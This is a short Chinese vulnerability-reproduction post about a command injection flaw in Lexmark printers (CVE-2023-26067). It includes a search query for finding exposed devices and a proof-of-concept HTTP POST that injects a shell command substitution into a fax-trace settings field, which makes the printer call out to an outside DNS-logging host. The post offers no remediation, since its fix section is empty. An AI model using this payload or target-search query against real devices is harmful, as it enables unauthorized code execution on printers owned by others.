Lexmark远程代码执行漏洞(CVE-2023-26067)

漏洞描述

Lexmark是美国的一系列打印机。Lexmark设备的一个受信任的内部组件存在输入验证漏洞。已经破坏了设备的攻击者可以利用此漏洞来升级权限。

Certain Lexmark devices 2023-02-19版本及之前版本存在安全漏洞,该漏洞源于Lexmark设备错误处理输入验证
Lexmark远程代码执行漏洞(CVE-2023-26067)_第1张图片

影响版本

Certain Lexmark devices 2023-02-19版本及之前版本存在安全漏洞

免责声明

技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!

资产确定

title=“Lexmark”

漏洞复现

POC (POST)

POST /cgi-bin/fax_change_faxtrace_settings HTTP/1.1
Hos: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Content-Length: 72
Accept-Encoding: gzip, deflate

FT_Custom_lbtrace=$(nslookup aa.p9wo66.dnslog.cn)

Lexmark远程代码执行漏洞(CVE-2023-26067)_第2张图片

修复方案

你可能感兴趣的:(网络安全,web安全,渗透测试,漏洞复现,漏洞复现,网络安全,web安全)